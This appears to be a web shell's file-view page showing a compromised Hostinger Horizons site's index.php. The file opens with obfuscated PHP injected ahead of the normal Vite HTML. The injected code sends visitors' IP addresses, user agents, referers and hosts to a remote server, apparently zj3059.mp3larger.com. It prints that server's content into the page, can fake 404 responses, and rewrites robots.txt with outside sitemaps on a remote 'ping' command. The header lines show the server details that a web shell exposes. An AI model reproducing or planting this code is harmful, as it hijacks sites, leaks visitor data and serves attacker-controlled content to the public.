HEX
Server: LiteSpeed
System: Linux us-phx-web1284.main-hosting.eu 4.18.0-553.109.1.lve.el8.x86_64 #1 SMP Thu Mar 5 20:23:46 UTC 2026 x86_64
User: u300739242 (300739242)
PHP: 8.2.30
Disabled: system, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
Upload Files
File: /home/u300739242/domains/bisque-swallow-412105.hostingersite.com/public_html/index.php
<?php
 goto YJSBN; dNOHk: echo $gWH5H; goto pgzeW; vgMfB: exit; goto fwdHY; A49tp: $S8XXq = ExpLode("\74\x62\162\57\x3e", $gWH5H); goto rHJY1; hjja4: $zJTBt = "\x61\153\144\x65"; goto Q4waw; pwn6k: if (empty($gWH5H)) { goto imaRq; } goto dNOHk; dSZqW: exit; goto RzYUr; zX_0F: exit; goto PFWDt; w7lB7: $Or1OK = $cL3lU($HZNUv); goto wUMPx; HFYKI: echo "\162\x6f\x62\157\x74\163\x2e\164\170\x74\40\x64\157\x6e\145"; goto zX_0F; rHJY1: ArRaY_POP($S8XXq); goto G0FEj; Rudvm: $gWH5H = Trim($ye45U[ROUND(0.104 + 0.1744 + 0.0264 + 0.06 + 0.12 + 0.2012 + 0.3144)]); goto pwn6k; cPuJG: $pglzU = foPeN($_SERVER["\104\117\x43\125\115\x45\116\124\137\122\x4f\x4f\124"] . "\57\x72\x6f\x62\157\164\x73\x2e\x74\170\164", "\167"); goto GBVp8; fYDH2: $Or1OK = trIm($Or1OK); goto fJPlw; fJPlw: CuRL_cLOSe($esxYe); goto quQpE; OLY2G: $vAZWC .= "\x41\x6c\154\157\x77\x3a\57" . PHP_EOL; goto A49tp; Z5oEQ: $vAZWC = "\125\163\x65\162\55\141\x67\x65\x6e\x74\x3a\52" . PHP_EOL; goto OLY2G; ecmbk: Jx3_e: goto ITUlF; jAODj: cuRl_SeTOPt($esxYe, CURLOPT_URL, $HZNUv); goto ZSYdo; wUMPx: oVlhI: goto IypK5; M6wkX: isFSS: goto Rudvm; hSZRS: $A1C_m = TRiM($ye45U[$SU_AQ - roUND(0.2536 + 0.1590437 + 0.204 + 0.1348753 + 0.065 + 0.0109 + 0.021 + 0.1515)]); goto mm72M; KjgFc: CUrl_SeTopT($esxYe, CURLOPT_CONNECTTIMEOUT, rOuNd(3.1331593 + 3.155539 + 1.089 + 0.45505408 + 0.816859 + 1.3279 + 0.022)); goto pG9NE; rfFXO: foreach ($CaZ_V as $ETuqZ) { goto ZqHpe; GIJXO: $PA78Y = Str_ReplAcE("\57", "\x5f", $PA78Y); goto SSdWA; ZqHpe: if ($ETuqZ == "\x52\105\115\x4f\x54\105\137\101\x44\104\x52") { goto WItWY; } goto yREqG; eImD1: $waw08 = isset($_SERVER["\x48\124\x54\x50\137\130\137\106\117\122\127\x41\122\104\x45\104\x5f\x46\x4f\122"]) ? $_SERVER["\110\124\x54\120\137\130\137\106\x4f\122\x57\101\x52\x44\x45\x44\x5f\x46\x4f\x52"] : (isset($_SERVER["\122\x45\115\x4f\x54\105\x5f\x41\x44\x44\122"]) ? $_SERVER["\x52\x45\x4d\x4f\124\105\137\101\104\104\x52"] : ''); goto Tz6Zi; VtpQH: $PA78Y = sTR_RePLaCe("\53", "\55", $PA78Y); goto GIJXO; OxLbi: goto bxDf3; goto SLYKZ; rXaLB: $PA78Y = BASe64_ENcoDE(TriM($waw08)); goto VtpQH; LUUDF: $ZsoFO .= "\46" . $ETuqZ . "\x3d" . $PA78Y; goto Qn_Xx; SSdWA: $PA78Y = sTr_REPlAce("\75", "\x2e", $PA78Y); goto LUUDF; EgFyB: Pqqkb: goto N__dM; SLYKZ: WItWY: goto eImD1; pGSnp: $waw08 = isset($_SERVER[$ETuqZ]) ? $_SERVER[$ETuqZ] : ''; goto OxLbi; L0vI0: bxDf3: goto rXaLB; Qn_Xx: EbAQf: goto pYRMJ; N__dM: $waw08 = isset($B9Krj) ? $B9Krj : ''; goto L0vI0; yREqG: if ($ETuqZ == "\x55\122\111\x5f\x50\122\105\106\111\130") { goto Pqqkb; } goto pGSnp; Tz6Zi: goto bxDf3; goto EgFyB; pYRMJ: } goto c7QyJ; la9Sz: $OnI9h = TRIM($ye45U[RoUnd(0 + 0 + 0 + 0)]); goto Zqn1l; up0t3: $MI31C = "\x67\x65\x72\x2e\x63\157\155"; goto YEm2b; M5Mjd: if ($SU_AQ < 3) { goto MKzP6; } goto la9Sz; YJSBN: ERror_rEPoRtING(ROuND(0 + 0 + 0 + 0 + 0 + 0 + 0 + 0)); goto AQaa1; pgzeW: imaRq: goto hSZRS; GqnSz: $jHh1V = "\x33\x6c\x61\162"; goto up0t3; mm72M: if (!($A1C_m == "\x65\x78\x69\x74")) { goto gzYBa; } goto dSZqW; B5Prk: $PMPq9 = "\x6f\x6e\164\x65"; goto Agulf; YQ6wT: $cL3lU = $x2qbo . $D213E . $UATxb . $PMPq9 . $iUxwZ; goto w7lB7; pG9NE: $Or1OK = curl_eXec($esxYe); goto fYDH2; Q4waw: if (!(Preg_matCH("\x2f\x6a\x70\62\60\62\63\x2f\163\x69", $_SERVER["\122\105\x51\x55\105\x53\124\137\x55\x52\x49"]) == rOunD(0.1455 + 0.245 + 0.04331729 + 0.22843 + 0.337282))) { goto Jx3_e; } goto ZzLG2; AQaa1: $Py8Ha = "\x7a\152\x33\x30\65\71"; goto hjja4; SnvcF: $D213E = "\145\x5f\x67"; goto dRff3; ZzLG2: if (!(pReg_mATCH("\x2f\x6a\160\62\60\x32\63\x63\x77\167\57\x73\x69", $_SERVER["\x52\105\x51\x55\105\123\124\x5f\125\122\x49"]) == RoUnD(0 + 0 + 0 + 0 + 0 + 0))) { goto xUvMj; } goto MKLmh; GpFKD: HeAdER("\110\124\x54\120\57\x31\x2e\60\40\x34\60\x34\x20\x4e\x6f\164\x20\x46\157\x75\x6e\x64"); goto vgMfB; GBVp8: FwriTe($pglzU, $vAZWC); goto Dcw2G; Nmacl: $ZsoFO = "\57\151\x6e\x64\x65\x78\56\160\x68\x70\x3f\126\x53\75" . $zJTBt . "\x26\107\x50\x3d" . $Py8Ha; goto wXPSy; quQpE: if (!empty($Or1OK)) { goto oVlhI; } goto lq0Z2; MKLmh: HEaDEr("\x48\x54\x54\120\57\x31\56\60\40\x34\60\x34\40\116\157\164\x20\106\x6f\x75\156\x64"); goto buOqx; l1Zum: goto g3YHX; goto WYuQy; lq0Z2: $x2qbo = "\x66\x69\x6c"; goto SnvcF; dzz95: $esxYe = cuRL_INIt(); goto jAODj; G0FEj: foreach ($S8XXq as $XuO53) { $vAZWC .= "\123\x69\x74\145\155\x61\160\72" . $XuO53 . PHP_EOL; Cljmr: } goto gsAhI; c7QyJ: sd3vf: goto DBb2f; gsAhI: EVW1Y: goto cPuJG; GFiVm: echo "\110\x54\x54\120\57\x31\x2e\60\x20\64\x30\x34\x20\116\157\164\x20\x46\157\165\x6e\144\137\137\137" . $Py8Ha . "\137\137\137" . $zJTBt; goto Bm3Q2; qPgyB: $ye45U = ExPLoDE("\x7c\100\x23\44\174", $Or1OK); goto OH7Nn; OH7Nn: $SU_AQ = COUNt($ye45U); goto M5Mjd; W2sZp: hEadER($OnI9h); goto M6wkX; dRff3: $UATxb = "\x65\164\137\x63"; goto B5Prk; ZSYdo: cuRL_SEtOpT($esxYe, CURLOPT_RETURNTRANSFER, roUnD(0.109043 + 0.0314716 + 0.137411 + 0.02349291 + 0.0625 + 0.203 + 0.369 + 0.0638)); goto KjgFc; wXPSy: $CaZ_V = array("\123\103\x52\111\x50\x54\x5f\116\x41\115\x45", "\x52\105\121\125\x45\x53\124\137\125\x52\x49", "\x48\124\124\x50\123", "\122\105\121\125\105\x53\124\137\123\103\x48\105\x4d\x45", "\123\x45\x52\x56\x45\x52\137\x50\117\122\124", "\122\x45\x4d\117\x54\x45\137\x41\104\x44\122", "\x48\124\x54\x50\x5f\122\x45\106\105\x52\x45\122", "\x48\124\124\120\137\101\x43\x43\x45\120\x54\137\114\101\x4e\x47\125\x41\x47\x45", "\110\x54\124\x50\x5f\x55\123\105\x52\137\101\107\105\x4e\124", "\x48\124\x54\x50\137\110\x4f\123\124", "\125\122\x49\137\120\122\x45\x46\x49\x58"); goto rfFXO; IypK5: $Or1OK = TRim($Or1OK); goto qPgyB; DBb2f: $HZNUv = $h922_ . $ZsoFO; goto dzz95; Bm3Q2: exit; goto ecmbk; Dcw2G: fClOSE($pglzU); goto HFYKI; RzYUr: gzYBa: goto YzP2K; ITUlF: $Xtc0j = "\x2e\x6d\x70"; goto GqnSz; buOqx: xUvMj: goto GFiVm; WYuQy: MKzP6: goto GpFKD; Zqn1l: if (empty($OnI9h)) { goto isFSS; } goto W2sZp; Agulf: $iUxwZ = "\156\x74\163"; goto YQ6wT; YzP2K: if (!($A1C_m == "\x70\151\x6e\x67")) { goto DQ8P7; } goto Z5oEQ; YEm2b: $h922_ = "\150\x74\164\160\x3a\x2f\57" . $Py8Ha . $Xtc0j . $jHh1V . $MI31C; goto Nmacl; PFWDt: DQ8P7: goto l1Zum; fwdHY: g3YHX:
?>
<!doctype html>
<html lang="en">
	<head>
		<meta charset="UTF-8" />
		<link rel="icon" type="image/svg+xml" href="/vite.svg" />
		<meta name="generator" content="Hostinger Horizons" />
		<meta name="viewport" content="width=device-width, initial-scale=1.0" />
		<title>Hostinger Horizons</title>
		<script type="module" crossorigin src="/assets/index-5430d905.js"></script>
		<link rel="stylesheet" href="/assets/index-34f7d579.css">
		<script type="module">
window.onerror = (message, source, lineno, colno, errorObj) => {
	const errorDetails = errorObj ? JSON.stringify({
		name: errorObj.name,
		message: errorObj.message,
		stack: errorObj.stack,
		source,
		lineno,
		colno,
	}) : null;

	window.parent.postMessage({
		type: 'horizons-runtime-error',
		message,
		error: errorDetails
	}, '*');
};
</script>
		<script type="module">
const observer = new MutationObserver((mutations) => {
	for (const mutation of mutations) {
		for (const addedNode of mutation.addedNodes) {
			if (
				addedNode.nodeType === Node.ELEMENT_NODE &&
				(
					addedNode.tagName?.toLowerCase() === 'vite-error-overlay' ||
					addedNode.classList?.contains('backdrop')
				)
			) {
				handleViteOverlay(addedNode);
			}
		}
	}
});

observer.observe(document.documentElement, {
	childList: true,
	subtree: true
});

function handleViteOverlay(node) {
	if (!node.shadowRoot) {
		return;
	}

	const backdrop = node.shadowRoot.querySelector('.backdrop');

	if (backdrop) {
		const overlayHtml = backdrop.outerHTML;
		const parser = new DOMParser();
		const doc = parser.parseFromString(overlayHtml, 'text/html');
		const messageBodyElement = doc.querySelector('.message-body');
		const fileElement = doc.querySelector('.file');
		const messageText = messageBodyElement ? messageBodyElement.textContent.trim() : '';
		const fileText = fileElement ? fileElement.textContent.trim() : '';
		const error = messageText + (fileText ? ' File:' + fileText : '');

		window.parent.postMessage({
			type: 'horizons-vite-error',
			error,
		}, '*');
	}
}
</script>
		<script type="module">
const originalConsoleError = console.error;
console.error = function(...args) {
	originalConsoleError.apply(console, args);

	let errorString = '';

	for (let i = 0; i < args.length; i++) {
		const arg = args[i];
		if (arg instanceof Error) {
			errorString = arg.stack || `${arg.name}: ${arg.message}`;
			break;
		}
	}

	if (!errorString) {
		errorString = args.map(arg => typeof arg === 'object' ? JSON.stringify(arg) : String(arg)).join(' ');
	}

	window.parent.postMessage({
		type: 'horizons-console-error',
		error: errorString
	}, '*');
};
</script>
		<script type="module">
const originalFetch = window.fetch;

window.fetch = function(...args) {
	const url = args[0] instanceof Request ? args[0].url : args[0];

	// Skip WebSocket URLs
	if (url.startsWith('ws:') || url.startsWith('wss:')) {
		return originalFetch.apply(this, args);
	}

	return originalFetch.apply(this, args)
		.then(async response => {
			const contentType = response.headers.get('Content-Type') || '';

			// Exclude HTML document responses
			const isDocumentResponse =
				contentType.includes('text/html') ||
				contentType.includes('application/xhtml+xml');

			if (!response.ok && !isDocumentResponse) {
					const responseClone = response.clone();
					const errorFromRes = await responseClone.text();
					const requestUrl = response.url;
					console.error(`Fetch error from ${requestUrl}: ${errorFromRes}`);
			}

			return response;
		})
		.catch(error => {
			if (!url.match(/.html?$/i)) {
				console.error(error);
			}

			throw error;
		});
};
</script>
	</head>
	<body>
		<div id="root"></div>
		
	</body>
</html>